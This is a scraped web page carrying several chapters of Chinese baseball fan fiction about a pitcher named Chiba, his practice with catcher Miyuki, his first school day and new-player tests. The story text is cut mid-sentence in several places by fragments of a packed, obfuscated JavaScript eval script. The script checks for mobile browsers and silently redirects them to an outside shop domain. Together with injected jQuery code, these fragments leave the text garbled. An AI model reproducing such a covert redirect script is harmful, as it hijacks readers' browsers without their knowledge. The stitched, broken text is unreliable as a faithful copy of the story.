“真的吗?高岛老师。”听到这话的千叶两眼放光,“监督对我的惩罚是不是结束了?我是不是以后也不用跑步了?” “这个嘛……”高岛老师笑了笑,“要你自己去问过片冈监督才可以哦。” 千叶想到监督那张可怕的黑涩会脸,浑身打了一哆嗦:“……还是等我反省好了再说吧。” 虽说以后的生活不知道能不能跟跑步离婚,但现在的千叶还是很开心,因为今天他能投球了。简直是正打瞌睡来了枕头,昨天才因为不会投变化球被克里斯前辈拒绝,今天就来了练球的机会。 千叶很开心地跑到正在跟不知道名字的打者练球的川上旁边,喜滋滋地问他:“川上,我们的接球网在哪?” “欸?你可以练球了吗?”川上放下了正准备投球的动作。 很长时间没见到千叶,川上对他的心理阴影已经过去了,现在看到千叶只是把他当成比较熟的同期。 他听到千叶可以投球了有点惊讶,然后给他指了仓库的方向:“好一点的球网已经都搬出来了,你去那边仓库看看那边,里面应该有旧的。” “啊……旧的……”千叶肉眼可见地失落。 川上安慰他:“我们现在连二军都不是呢,旧的也不错了,将就一下吧。” “喂,川上!投球过来啊!”二军跟川上练习打击的前辈在催促他了。 “啊!是!”川上赶忙回过头回答道。 见状,千叶不再打扰川上,老老实实地拖着脚挪到仓库。 千叶用力推开生锈的门,混着霉味与旧木头的不明粉尘扑面而来,呛得他下意识偏头捂了捂鼻子,视线落下去,底下的灰尘一脚踏下去都能领域展开。 千叶:“……”这鬼地方是多久没人进来了啊。 仓库里堆着不少杂物。 东倒西歪的旧纸箱占了大半空地,上面印着模糊的“棒球”、“手套”的字样,旁边还有几个跟破铜烂铁差距不大的架子,架子角落里堆着几个瘪掉的棒球,还有几根断了的球棒。 千叶嫌弃地在里面翻翻找找,终于在角落找到两个网兜有大洞、完全没法用的球网。 绝望的千叶:“……” “想练球但没有人接球吗?” 正在千叶一筹莫展之际,他听到自己身后忽然传来一个熟悉而又欠揍的声音。 千叶一转身,果然看到可恶的御幸一也那张笑嘻嘻的脸。 “我可以帮你接球哦~” 他听到可恶的御幸这样说道。 13.练习 “砰——” “砰——” 千叶慢吞吞地跟着御幸走到牛棚里。路上听到此起彼伏的球砸进捕手手套的声音。 他不知道的是,从b球场的记录室里能清晰地看到牛棚里的场景,而现在老师正在对他们进行观察。 高岛老师翻着助教递过来的记录表:“这一届有三位投手,川上宪史,川岛谦吾,还有千叶一郎。 从特招表现来看,千叶同学是其中实力最强的,川上同学也不容小觑。” 片冈监督听到这话并没有说什么,只是头转向太田部长问:“听说川上最近在练习滑球?” 太田部长赶忙道:“是的,去年秋天就开始准备了,开学经过跟捕手的磨合训练,控球虽然还不算稳定,但基本能投到好球带。” “嗯。”片冈点头道,“开学不久就是红白赛。他们的表现将决定他们的位置。” 记录室外,御幸跟千叶走到了牛棚。 虽然千叶不怎么情愿,但他总体上并不是感情用事、不顾大局的人。他想让克里斯接球,不意味着不接受其他捕手。现在最重要的事提升自己,没有办法用球网自己练习,有个现成的捕手找上门,主动邀请,何乐而不为? 当然,主要是御幸长得很帅,虽然性格太坏了,人也非常讨厌,但毕竟是个帅哥,让他接球千叶表示还行,勉强自己也不是不能接受。 牛棚里,川上正在跟一个不认识的捕手练习,还有一个不认识的投手正在跟一个不认识的捕手前辈练习。千叶定睛一看,那个捕手前辈在招生测试时给他接过球。 千叶又开始纠结要不要跟前辈打招呼。前辈现在看起来很专注,但如果不打招呼被发现的话会不会被当成是没有礼貌?打招呼的话,他又想不起来这个前辈叫什么,明明克里斯前辈不久前才跟他说过。 御幸就没有这方面的纠结,径直走到捕手的位置蹲下,看千叶还在往旁边看,向他砸砸手套提醒他往这边看。 “哦。”原来不用打招呼吗?千叶点点头对御幸道,“我想练滑球。” “可以,先投几颗直球热热身吧。” 御幸蹲在他前面,向他张开手套。 “砰——”内角高。 “砰——”外角高。 “砰——”外角低。 控球真的很准啊,而且很有威力。御幸心中夸了千叶一下,然后举起戴着护具的左手示意他暂停。 “怎么了?不是说要陪我练球吗?”千叶收起已经调整好握球姿势,瞥一眼走到他旁边的的御幸。 御幸没有在意他的表情,只是双手抱胸,眉梢微挑,目光地落在千叶手里的棒球上:“千叶,为什么要先学变化球?你现在投的都是四缝线直球,为什么不试着投二缝线直球和变速球呢?这两种球学起来比变化球更容易,如果追求没那么容易被打者打出去,这两种球也更方便配球吧。” 千叶目光有点游移,指尖无意识地抠了抠棒球上的缝线,难得带了点底气不足地别别扭扭:“我会投二缝线直球,也会投变速,但控球不怎么样,没办法投到九宫格,顶多能投到四宫格。” 他是真的不想投控球不怎么样的球啊,一但投不好轨迹就丑丑的,还容易被打出去,而且他确实练习这两种球不算多啦,投球投多了胳膊也是会累的,他能让四缝线直球控球稳定就很不错了…… 千叶心里是什么想法,御幸不知道,但御幸心里也在吐槽:说得好轻松,你以为投到四宫格很容易吗?这有什么好别扭的啊!真是完全不懂在想什么! 不过,不管心理怎么想,御幸面上依旧带着淡定从容地笑容:“那你投给我看看,放心,我肯定会接住的。” “不想投,”千叶这下倒是能干脆利落地拒绝,“不精准的控球投出来的轨迹不稳定。” “啊哈,是担心球被打出去吗?”御幸拖长语调,故意激他,“我的配球不会让你被打出去的,你投给我看一看嘛。总不能……是你不敢投吧?” 推测完全错误!千叶在心里憋屈地反驳。不想投,纯粹是因为那些歪歪扭扭的轨迹实在太丑了,跟会不会被打出去一点关系都没有!跟敢不敢投也没关系! 但千叶只是白了御幸一眼,抬抬下巴,不屑道:“激将法对我可没用。” “而且你怎么敢肯定你的配球不会让人被打出去?”千叶迅速转移话题,“投手投出的球,哪有不会被打出去的?就算是世界第一的投手也会被击出安打,投手要做的是尽可能少失分。” “说起来倒是一套一套的嘛。”御幸嘿嘿揶揄,“我会尽量、尽量不让你的球被打出去,但你的球要是投得太甜或者投不到我想要的位置,那就没办法咯~” 这家伙怎么每句话都这么欠揍!千叶觉得牙痒痒。他实在不知道御幸在想什么。他对御幸这种心眼多的人一向最苦手了,总觉得一不小心就会被坑到,偏偏他又是捕手,长得还帅。 可恶的御幸!

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16968422|192733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 千叶生气。 他干脆不跟御幸争辩了,连眼神都懒得给他,抬手指了指捕手蹲捕的方向,下巴微微一扬,语气硬邦邦:“不是说要我投二缝线和变速球吗?赶紧回你的位置去,我要投球了!” “是,是。”御幸转身慢悠悠地走回捕手位,蹲下身时还不忘扬声道,“投一个二缝线直球,投到红中就好,这里总能投得到吧!” 千叶深吸一口气,心中忽略御幸的挑衅。 投球是一项需要心态的运动,不仅仅是姿势,只有身体和心理同时达到协调,投出的球才会完美。 千叶闭上眼睛,等他再睁开,他的手已经调整好了握球姿势,手指对准二缝线的位置,左臂自然向后摆动。下一秒,棒球破风而出,带着凌厉的势头直奔捕手手套,在即将进入手套的瞬间,突然向左打者胸口的方向猛地平移,还伴着轻微的下坠。 御幸手套一移,稳稳接住球,指尖传来的震感比四缝线更强烈。 千叶是左投,投出的二缝线快速直球,在本垒板前会向?左打者胸口的方向?产生?平移?,同时伴有?轻微下坠,因为身高够高,球垂直落差够大,加上球速快,从本垒板方向看来几乎有点伸卡球的下沉轨迹。 “二缝线很有威力。”御幸夸了一句,将球扔给千叶忍不住道,“为什么不学伸卡球?这对你来说应该比学滑球更简单吧?” “伸卡球的控球比滑球难多了,而且我的二缝线直球够用,所以想学一种更有威力的球。”千叶说。 居然意外地很有上进心吗?御幸愣了一下。“还真是看不出来……” “看不出来什么?”千叶歪头。 “没什么。” 千叶没理会他的心思,只是继续调整投球姿势:“下一个,变速球。” “可以。投到这个位置。” …… 练球的时间过得很快,御幸把他会的球种都看了一遍,然后没投几个滑球,就让他做了收操。 “今天投球投得够多了,投滑球对胳膊的负担大,还是要慢慢练嘛。”御幸嘿嘿一笑。 千叶总觉得有点被御幸坑到了,但又觉得他说得没有什么问题。 就抱着这样想不通的心情,千叶迎来了他短暂的假期,骑着自行车,带着行李回到家他才反应过来—— 御幸,那家伙明明说是陪他练滑球,最后倒是自己把想的球看完了…… 被他坑到了啊!可恶的御幸! 14.开学第一天 在跟御幸练球后的第二天,在阳光明媚,惠风和畅的日子,青道开学了。 排队进入大礼堂,听完学生代表发言,参加完入学典礼,千叶告别了跟他一起来参加典礼只为录下“人头密密麻麻、找不到自己儿子在哪儿的,儿子的开学第一天”的老爸老妈,成功随着人流找到了自己的班级。 一进门,千叶眼睛下意识想往班里同学的脸上瞄,又想到刚刚他才被老妈叮嘱,要跟班里同学好好相处,不要以貌取人。千叶悻悻地把眼神收回来,低着头规规矩矩地研究了一会儿门口的座位表,走到自己的座位,老老实实坐下。 千叶没注意到,在他坐下不久,就有一个深绿头发、倒八眉的男生走进门,走到刚刚他站的位置看了一眼座位表,又一挑眉毛朝他看了一眼。 于是在他坐好把包塞进桌洞后,抬头就看到一个绿头发的同学肩上拎着包朝他走过来。 千叶不知道这是什么情况,眼看他越走离他越近,在他面前站定停下来。 走近千叶才发现这人意外地五官不赖,身材也挺好,就是气质有点凶巴巴的,像不良少年,不在他的好球带上。 而且这个黑得发绿头发……怎么有点眼熟呢。 千叶想了半天没想到在哪里见过这人。不过鉴于他对于颜值水平处于中等左右的人记忆一向不太深刻,不排除他是在哪见过现在忘了。 所以这位同学找我有什么事情吗? 千叶疑惑地看着绿头发在他面前站定。 他冲绿头发眨眨眼,绿头发面无表情看着他。 两人对视,谁都没有说话。 过了几秒,绿头发忍不住敲敲他的桌子提醒:“喂,你,坐错位置了,这个位置是我的。” “欸?”千叶反应几秒。 “欸!”千叶赶紧站起来,把刚刚塞进书桌的书包拿出来,给绿头发让地方,“不好意思!” 绿头发看了千叶一眼,走到千叶让出的位置,放下书包,又看了他一眼。 千叶被他看的有些莫名其妙,但又福至心灵地准确从他眼睛里读懂了他的意思——你一点不疑惑一下就直接搬东西走人了?我看上去很可怕吗? 不不不,不要怀疑自己,这位同学,你没什么问题,只是这个排位我没在这儿上过几天学确实有点搞不懂。千叶想。 不过他没跟这位同学搭话,跟川上搭讪的前科还历历在目,他实在是不想把他那匮乏的社交技巧用在这个看起来脾气不大好的同学身上。 毕竟他不能像打川上屁股那样打这位同学的屁股,敢这么做他肯定会被面前这位同学揍一顿吧! 千叶拿着包,准备转身往门口贴的座位表那里走,他寻思得好好研究研究这个座位表是怎么排的,别二年级分班的时候又来一出。 “喂,你……”身后的绿头发却叫住了他,皱着眉似乎想要说什么。 听到动静的千叶收回的视线落回他身上。可绿头发最后又没说,只是张了张嘴问道:“你叫千叶一郎?” “欸?嗯。”千叶有点惊讶。 他知道自己的名字,莫非他们俩真的见过?在哪认识? 不好。他一点也想不起来了。 绿头发听到千叶回答,指了指他身边的空位,低头把自己的包塞进自己书桌,道:“座位表上你坐我旁边这个位置。” “噢,谢谢你。”千叶惊讶了一下,没想到这个长得坏坏的同学居然是个好人。 “嗯。”绿头发点点头,低头简单整理着自己的东西。 千叶走到他身旁的空位坐下,把书包塞进桌洞,发觉旁边的绿头发的视线一直瞥他。 千叶对别人的视线还挺敏感的,但他想不明白这位同学为什么一直看他。 莫非这人也是个外貌协会,被我的美貌迷住了? 千叶凝重地摸了摸自己的脸。 虽然我知道我长得帅,但被一个男生这么盯着就是另一回事了。要提醒他吗?还是不了,假装什么都没发生好了,万一让他尴尬怎么办。他是同桌,我还是想跟周围人搞好关系的。 我要做一个体贴的人。 千叶这样想着,克制住自己回望过去的欲望,若无其事地从书洞的书包里拿出漫画书。 等了好久,等到旁边桌的人已经拿出漫画开始娱乐,再没有下文,盯他半天的绿头发同桌终于忍不住了,指节“砰砰”敲敲他的桌子。 千叶疑惑转头,就看到绿头发倒八眉一脸不可置信加“你怎么这样”的表情怒视他:“喂!你不该问一下我叫什么吗?” 不好,我给忘记了。千叶心中大惊。 果然是因为痞帅男孩这一挂的长相不在我的好球带吗?打过招呼居然忘了问他的名字!这可太失礼了,刚刚他还帮过我来着!所以他一直盯着我看是这个原因吗? “啊,实在不好意思,你叫什么名字啊?”千叶用尽毕生最真诚的眼神看向他。 绿头发眉头皱得更紧了,显得他更加凶巴巴,正在他想说什么的时候,另一边距离他们不远的地方,忽然传过来一声似是终于忍不住的“噗!”的嘲笑。 绿头发猛得一扭头,瞪向笑声传来的方向,千叶顺着他的眼神看过去,跟一个棕色头发戴眼镜的男同学对视上了。 男同学看到他们两个同时向他看过来,边噗噗笑边忙摆摆手:“没事,没事。” “……御幸一也?”熟悉的声音,熟悉的笑容,千叶突然觉得一阵头痛。 可恶的御幸怎么也在这个班! 这家伙可是昨天才坑了我啊! 为什么今天又见到啦!不是冤家不聚头也不是这么个聚法的啊! 旁边绿头发眉头拧成一个疙瘩,直接把他的心声说出来了:“御幸?你怎么也在这个班?” 千叶扭头看向他,这个语气这个神态,像也被御幸坑过。 “啊,可能是因为班级是按成绩分的吧,所以我们三个就在一个班咯。”御幸无所谓地耸耸肩。 千叶恍然大悟:“欸,原来御幸你看起来很聪明的样子还戴眼镜,成绩也这么差!” 绿头发怒了:“不要骂御幸的时候把我们都骂进去啊!你这家伙!” —— 开学第一天,千叶跟附近的同学们算是熟悉了。 这个“附近的同学们”单指一个人——绿头发同学。 “所以你果然不记得我的名字啊,我叫仓持洋一。” ——在一通折腾后千叶终于知道了同桌绿头发同学的名字。 “啊,我对你的名字有印象。”千叶一敲拳头,忽然想起来了,“是那个自我介绍时特别长篇大论的人。” 仓持:“……” 仓持手指几乎要戳到千叶的额头上,咬牙切齿地恼怒:“是啊!我在自我介绍的时候都那么长、篇、大、论了,你居然还没有记住我的名字!” “自我介绍那么多人我记不住不也很正常嘛……”千叶被他吼得缩缩脖子,弱弱地嘀嘀咕咕,“你记得住我的名字我才觉得奇怪呢……” “你不知道吗?”闻言仓持倒是收起了那副凶神恶煞的样子,斜着眼睛看他,“现在棒球部大概没有不认识你的人吧。” “欸?” “所有人都知道你被监督罚是因为记不住国中少棒的名字,说你真是目中无人,还有人打赌你会不会直到上场比赛都不认识身后的守备……今天一见,你倒是真的跟传闻里一样嚣张。”仓持抱胸抬起下巴睥睨地瞪着千叶,凑近他,眼神里带着威胁,“先说好,如果你过几天就把我忘了的话,我是不会在你身后守备的。” 千叶脸色忽然变了:“你是怎么知道这件事的?”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16973457|192733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “什么?”仓持一下没反应过来,但他很快明白了千叶是什么意思,重新坐回位置上,“几乎所有的同期和前辈都知道你是因为记不住国中少棒教练的名字和队友被罚了吧。你难道没感觉到有人在你跑步的时候对你指指点点吗。” 千叶脸色更难看了。 被人指指点点什么的他已经习惯了!记不住国中少棒队的名字,对他来说也不是很大的事! 但这件事如果变得人尽皆知,那影响就很不好了。即使是他千叶一郎也是会心虚的,片冈监督肯定不会把这件事乱说,那么只剩下了一个人—— “御幸一也!” 千叶一拍桌子站起来,把仓持吓了一跳。他眼看着千叶大步流星朝御幸走过去,从他的角度还能看到千叶本就偏白的肤色,现在更是从头顶红到脖子根——气的。 旁听多时的御幸见状举双手投降:“喂喂,这跟我有什么关系啊。” “我只告诉了你一个人啊!”千叶扯着御幸的领子,气愤地把他晃来晃去。 “真的假的哈哈哈、那个我点急,我先去趟洗手间。” …… 开学第一天,悲剧的事件不只一件。 虽然他们是个后进班,但后进班也不是不学习,在上午听了班主任开会、打扫完卫生、领了课本以后,青道开始正常上课。 下午第一节,正是最困的时候,上的是他最不喜欢、成绩最差的国文。 然而令人没想到的是……他们班的国文老师居然是片冈监督! 他的国文是体育老师教的!这是什么鬼故事!本来他的国文就够差了,每次上课都像在催眠,这下上课连觉都不敢睡了。 “完蛋了。”在片冈监督走进教室时,千叶听到他的同桌的仓持,说出了他的心声。 千叶心想他跟仓持同学还挺有默契的,他总能当上他的嘴替。 上课的时光相当无聊。片冈监督讲课讲得大概还不错,黑板上的粉笔字写得整整齐齐,还有同学时不时点头应和,千叶一句也听不懂,落到他耳朵里全变成了嗡嗡作响的催眠白噪音。 上过课的学渣都知道,这个时候,睡觉根本不是自己能控制的—— 春风和煦无比的下午,暖融融的阳光照在一个完全看不懂的天书上,迷迷糊糊的大脑指挥身体……啊,不小心把笔碰掉了,弯腰一捡,一低头,眼睛自然而然就闭上了。 就算是片冈监督,也不能阻止他上课睡觉。 所以就这样,千叶睡了一节课,直到下课铃声把他吵了起来。 然后一抬头—— “千叶,下课来我办公室一趟。” 跟讲台上眼神犀利严肃的片冈监督对视后,他听到他对他说了这样一句话。 完蛋了。死期就在今天了。千叶想。 为什么你就这么控制不住自己啊千叶一郎!为什么要在片冈监督睡觉啊!你不知道后果的吗!就算是觉多,睡觉也得分场合啊!你平常不是龟毛到连床品都要嫌弃地挑三拣四嘛!这个时候居然睡得这么香…… 该死! 千叶痛苦抱头,觉得世界一片黑暗。 “片冈监督课上看了你好几次。他的课,还是第一节,你都敢上课睡觉……你胆子真大啊。”仓持用十二分吃惊加敬佩如同看待勇者的目光看着他。 “这种情况还敢睡觉,这已经不是单纯的胆子大了,这根本是蠢了吧!说不定会被罚到今年一年都上不了场了呢~噗噗噗。”上午才被千叶逮到厕所修理一顿的御幸,此时毫不留情地嘲笑。 千叶生无可恋,脑子里全是上一个周被罚跑的阴影:“我要去办公室了……” “去吧去吧,祝你活着回来。”御幸幸灾乐祸挥挥手。 “如果你被监督打死了我会替你收尸的!”仓持终于忍不住喷笑道。 15.棒球日记 千叶低头跟着片冈监督走进办公室。 监督对面的桌子前还有几个老师,见千叶忐忑不安地走进来,多看了他几眼。 千叶不敢看监督脸上是什么表情,等片冈监督在他面前一坐下,还没开始训话,他就开始鞠躬道歉:“片冈老师对不起!不应该上课睡觉,我保证以后好好听课。” “我的课很无聊吗?”千叶低着头,不知道监督脸上什么表情,但他听他现在的语气倒是挺平静的,所以千叶鼓起勇气抬头看了一眼。 片冈监督的办公室跟他想的不大一样,没有那么阴森恐怖,阳光透过窗户斜照进来,在地板上投下的窗帘的影子,不仅不恐怖甚至显得还有点暖洋洋的。办公桌上整齐地罗列着战术手册和备课笔记,钢笔尖插在红墨水瓶里。 片冈监督也没有他想得那么可怕,脸上也不是生气的表情,只是眼神很犀利。 千叶赶快又把头低下去了:“不是的,是我听不太懂国文课,所以忍不住。” “不太懂?” “嗯,”千叶硬着头皮解释,“认得字,但连在一起就不太懂是什么意思……” 没法办,他以前是在美国上学的啊,哪个说英语的老师会教俳句古诗和阅读理解啊!他已经很努力地上过补习班了,奈何这门课靠的是积累,他这样识两个字也跟文盲相差不大的学渣,学习起来真的很困难啊…… “因为听不懂就放任自己睡觉?” 片冈监督冷漠的声音让千叶心头一紧,急忙保证:“我一定好好学习端正态度!绝对不会不及格。” “嗯,”片冈监督也不知道是满意还是不满意,只是淡淡地问起了另一个问题,“之前的事反省得怎么样?” “欸,反省……”千叶茫然了一瞬。 啊,好像完全忘记了。 记不住国中少棒、记不住教练队友什么的……因为不知道反省什么所以压根没有反省…… 其实他刚开始还记得要想点什么假装反省的话,争取监督的原谅,后来被周围人卷到了,又被克里斯拒绝接球,脑子里就只记得练滑球了。 所以这个时候应该怎么办。 千叶硬着头皮开始编:“我……我一定会好好记住队友的名字,也会记得监督和老师的名字,努力融入集体……”没两句额头冒汗,结结巴巴,编不下去了。 啊,我真是一个差劲的演员,每次这种情况都不会瞎编台词。千叶绝望地想。 监督看了他一眼:“这几天你认识了几个队友?都是谁?” 出题终于出了一道会的,千叶精神了一点,扒拉手指开始数:“克里斯前辈,御幸,仓持,川上,丹波前辈,菅田前辈……”还有谁来着?那个长得一般的捕手前辈,那个打击特别厉害的学长,他们都叫什么来着? “还有……还有……有几个前辈我也说过话。”千叶最后半天没憋出名字。 监督没做什么评价,也不知道满不满意,只是递给了千叶一个笔记本。 千叶急忙双手接过,监督的话就在他耳边响起来:“你的前辈们都会写棒球日记,你们不久后也要写,我希望你能从现在开始,每天至少记录一位你身边的同伴,姓名爱好,不得少于一百词,越详细越好,每个周单独交给我。 你做的认真程度决定了你下个周能不能参加训练。” “是!我一定认真写!”千叶差点流出了“感动”的泪水——让学渣写作业还不如让学渣去死呢。 回到教室。 “呦,活着回来了。” “监督居然放过你了,他原来没有看上去那么可怕啊。” ——千叶的两个队友对他表示了热烈欢迎。 生无可恋的千叶此时并不想搭理围着他幸灾乐祸的仓持和御幸,把本子放下,就趴在桌子上假装自己是一具安详的尸体。 “这是什么?”仓持发现了千叶出去一趟,回来身上多出来一个东西,拿起本子翻来看了看。 千叶还趴在桌子上,声音闷闷地传出来:“监督给我布置的作业。让我每天跟踪偷窥一个队友,把他的日常记下来。不认真记不允许训练。” 御幸:“……片冈监督原话肯定不是这么讲的吧。” 千叶从桌子上爬起来,把笔记本从仓持手里抽回来,无神的双眼冒出要死不活的火焰:“正好,就从你们两个开始吧。” “别这么自说自话啊喂!” 回到寝室。 菅田正坐在书桌前用刷子擦手套,听到身后传来开关门声后,又是一阵沉重的脚步声,他动作顿了顿,却没回头,只是背脊挺得笔直。 他听得出来,这是千叶回来了,心情非常不好。 菅田前辈还在单方面跟千叶冷战,虽然已经在叫学弟起床上小小地报复过学弟,但菅田是个小心眼前辈,他还是决定不原谅千叶这个几次三番暗戳戳折腾他的后辈,所以此时此刻,菅田决定不要跟千叶讲话。 管他难受不难受!关他什么事!他只是前辈又不是老妈子! 不管闲事!菅田如此想到。 但千叶完全不知道前辈的想法,在屋子扫视一圈发现一个活人,张口就问:“菅田前辈你的爱好是什么?” “……什、什么玩意?”菅田受宠若惊又觉得惊恐地放下手套扭头看过去。 身后的千叶一脸坚定。 “监督交给我的任务。”面无表情的千叶举起手里的笔记本解释,“监督说,让我每天记录一位队友的信息,写满一百字,不然下周不让我参加训 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16983591|192733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 练!” 菅田终于忍不住露出大仇得报的大笑。 在前辈嘲笑和落井下石中,千叶终于忍辱负重地记完了他的生平事迹,准备收拾东西出去洗漱的时候,菅田却忽然叫住了他。 “千叶。” 千叶向菅田看去,他收起那副欺负学弟的嘴脸,拿着软毛刷的手轻轻擦着手套的缝线处,表情平淡得看起来甚至有点靠谱了。 因为他这个表情,千叶重新坐了回来。 “你知道开学后不久,你们新生要入队做测试吗?”菅田头也没抬,淡淡道。 千叶愣了愣,下意识皱起眉:“不知道。招生测试的时候不是已经测过一遍了吗?” 普通的选手能力测试还需要进行那么多遍吗? 一般人也不会在短短一个周的时间里进步多少吧。 “青道是棒球名校,”菅田终于抬眼,目光扫过他困惑的脸,“但每年都有一般入学考试进来的学生因为兴趣想加球队,所以统一测试要放在开学后。不管之前有没有测过,到时候都得重新记录数据。” 这话里的信息像颗小石子一下砸中头顶,千叶忽然有点明悟:“也就是说春训的时候没见过的人,会在那时候入队?” 没见过的人,等于可能出现的帅气的队友,等于他的作业内容。 片冈监督肯定希望他不要像完成任务那样随便写写周围的人,他希望他能主动接触队友,所以新队友也是他的目标。 “嗯。”菅田漫不经心应了声,又低下头去擦手套的掌心处。 “那我们什么时候开始测试?” “大概一周后吧。”菅田的声音混着毛刷蹭过皮革的沙沙声,“等过个两三周,你们这群新生磨磨蹭蹭混熟了,还会有场红白赛。” “红白赛?”千叶的眉峰又拧起来。 “你小子还真是啥都不知道啊。”菅田放下毛刷,叹了口气,“红白赛就是你们一年级菜鸟,跟二军的前辈们打比赛。教练让你写周围人的观察报告,估计也是想让你早点跟队伍熟络起来,省得到时候上场连后背队友的名字都不知道。” 所以他不记得以前队友教练少棒队名字这件事算是过不去了吧! 千叶心中愤怒摔锅,外表一片平静:“所以……我应该从一年级的队友开始熟悉?” “也不是非得这样。”菅田挑了挑眉,“从隔壁寝室开始也成,正好他们三个现在都在。” “……”千叶的脸瞬间垮了下来,嘴角肉眼可见地往下撇。 “喂,摆着张苦瓜脸干什么?你得罪过他们吗?怎么这么抗拒!” “没什么。”千叶抗拒地把头扭到一边去。 因为隔壁的无论前辈还是同期,都长得很难看啊! 16.测试日常 又是新的周一了。 据说今天下午要新生测试。 但是吧,千叶还有一项任务—— “叩叩叩——”千叶怀着忐忑的心情敲了敲门。 “请进。”片冈监督的声音从办公室里面传来。 千叶推门进去,办公室里,片冈监督坐在办公桌前看大家的棒球日记。 千叶一眼就看出来了,监督手里拿的正是他的那一份,尤其还时不时还皱着眉头拿钢笔做个批注,这让现在站在旁边的他非常紧张。 千叶偷偷抻着头看过去,还没看到批语,一眼望去,全是改完错别字和语法错误。 千叶:“……”千叶赶快把眼神移到一边去了。 只要没看见,就能装作不知道! 片冈监督看了千叶一眼,指着密密麻麻的批注中的一大行分段问:“为什么这里外貌描写这么多?凑字数吗?” “……”千叶张张嘴,又闭上了,声若蚊蚋地哼哼,“是的。” 这句话,是假话。 实话是只有那个外貌描写是他的想写的东西,剩下的“爱好啊”、“习惯啊”、“爱吃啥爱喝啥”……内容,全是别人口述他记录。 虽然他也很想实话实说,说什么:脸跟身材可是组成人最重要的部分了,对别人的第一印象就是看脸啊看脸,连这部分都忽略了,我根本没办法表达对别人的感受啊!——但很明显,如果他真这么说了,他也是真的会被片冈监督教训的。 “嗯,写得倒是挺有真情实感,但是没必要。”片冈监督显然对面前学生的文化水平有点头疼,“……把这一段外貌描写删一删,如果不知道写什么,就去问他们在棒球部里的目标、努力的方向。” “是!” “还有,把那些错别字语法错误什么的,都改好。” “……是。” …… 下午进行新生测试。 新生测试内容跟招生测试不太一样,除了投手测试的内容,千叶还需要进行身高体重的登记造册和打击能力、守备能力之类的测试。 投手测试还是老三样,投距、准度、球速。新来的队友似乎没有投手,投手测试的时候还是只有他、川上、还有那个不认识的投手同学。 但测试的结果就比较意外了。 “千叶,你的球速似乎涨了。”漂亮的经理在记录完他的数据的时候对他道,“现在你的平均球速在146km/h。” “欸?我没有很用力啊。”千叶有点惊讶。 球速这种东西涨起来似乎不算太容易,或者新手投球的时候会因为投球姿势的规范固定,球速会迅速改变,剩下的球速增长全靠肌肉量的堆积、投球细节的优化,还有爆发力的训练。 像他这样的投球姿势相当稳定的投手,除非是靠训练量堆上去不断强化下肢和核心,或者身体有了发育,否则是没那么容易涨球速。 难道是因为这两天训练量提上去了,我的下肢更稳定吗?千叶想。嗯,也可能是我长个了,毕竟我还在生长期嘛。 球速的上涨让千叶的心情好了很多。 “没用力球速还快了就有进步了,”经理笑着问他,“胳膊感觉怎么样?” 千叶动了动胳膊:“胳膊感觉还不错。” “嗯,那就好,你可以去进行打击测试了。” “哦。” 轮到打击测试。 投手测试的好表现,显然跟打击测试发挥的怎么样没有任何关系。 打击测试是非常典型地发球机击球测试,给每人十个球的机会,看打者能击中几个,打击质量怎么样。 恰好,千叶是那种手里拿的木棒、打击时很爱走神、又非常不会抓发球机的发球时机的打者。 所以…… “乓——” “乒——” “乒——” 记录打击数据的助教一边叹气一边摇头。 虽然每一球都击中了,但没几颗球打中球心,所以打击声音非常不好听。 “下一位!” 随着助教高声喊下一个人进场打击,千叶拎着球棒走下打击区,不由得垂头丧气。他的眼神非常一般,选球不怎么样,平常站在打击区,打击一半是靠猜捕手配球,一半靠观察投手。打发球机嘛,它连个人都算不上,他打得自然就很差劲了。 “主要是挥棒速度一般。”千叶心情不算太好地挥挥手里的球棒。自从国中回到日本后他就没有练习过挥棒,果然,不练就水平下降,现在他挥棒的速度真是被他老爸看到会让他嘲笑一个月的程度。 难道要把打击也提上日程吗?算了,投手不看打击,还是等滑球练好了再说吧。千叶想。 接下来是跑垒测试。 排在他前一个的是仓持。 刚到跑垒场地边缘,他就听到了了仓持的“咦哈!”然后看到他像一阵风一样,结实的小腿蹬地,瞬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16990520|192733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 间从本垒窜到三垒。 